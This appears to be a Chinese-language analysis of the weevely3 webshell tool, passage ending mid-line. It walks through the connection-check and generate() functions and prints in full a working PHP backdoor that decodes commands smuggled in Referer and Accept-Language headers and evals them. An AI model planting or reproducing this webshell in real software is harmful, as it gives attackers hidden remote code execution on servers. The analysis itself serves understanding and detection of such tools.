1 weevely验证机制分析
1.1 源码分析
当生成的php文件是以stegaref_php.tpl文件为模板时,当我们在连接时的命令行中输入任意命运就可以触发php.py文件中的_check_interpreter()函数,_check_interpreter()函数主要功能是随机生成一个命令,”echo”一个从11111到99999大小的随机整数,然后分别调用channels文件夹下的channel.py文件中的”send()”函数,然后在send()函数中把payload分别发送给legacycookie.py,legacyreferrer.py和stegaref.py三个Python文件中的”send()”函数同时返回Response,code,error的值, response, code, error = channel.send(command)
,通过对返回的Response和构造的echo的随机数是否相等来进行判断PHP shell能否直接运行,同时判断连接是否成功。
1.2 PHP(stegaref_php.tpl模板)后门文件分析
首先,当我们使用命令:weevely generate hello /var/www/html/testformd.php
来生成木马文件时,会调用generate()函数来生成木马。
- generate()函数在weevely3-master/core/generate.py文件中,函数原型为:
def generate(password, obfuscator = 'obfusc1_php', agent = 'stegaref_php'):
其中,password为用户指定的密码, obfuscator是使用的webshell模糊变换模板,agent为webshell的模板,后两个参数均可自己定义,用户可以自己编写自定义的模板放入weevely3-master/bd/obfuscator/和weevely3-master/bd/agent/目录下,然后命令中指定自定义的模板。 agent = Template(open(agent_path,'r').read()).render(password=password)
render agent模板文件,得到原始的webshell。webshell源码通过pycharm debug出来,生成的源码为:
$kh="5d41";
$kf="402a";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++)
{
$o.=$t{
$i}^$k{
$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m){
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]];
if(strpos($p,$h)===0){
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)){
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e){
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
minified_agent = utils.code.minify_php(agent)
对原始的webshell进行”净化”操作,去除里面”\n\t”等特殊字符。处理完的源码为:
$kh=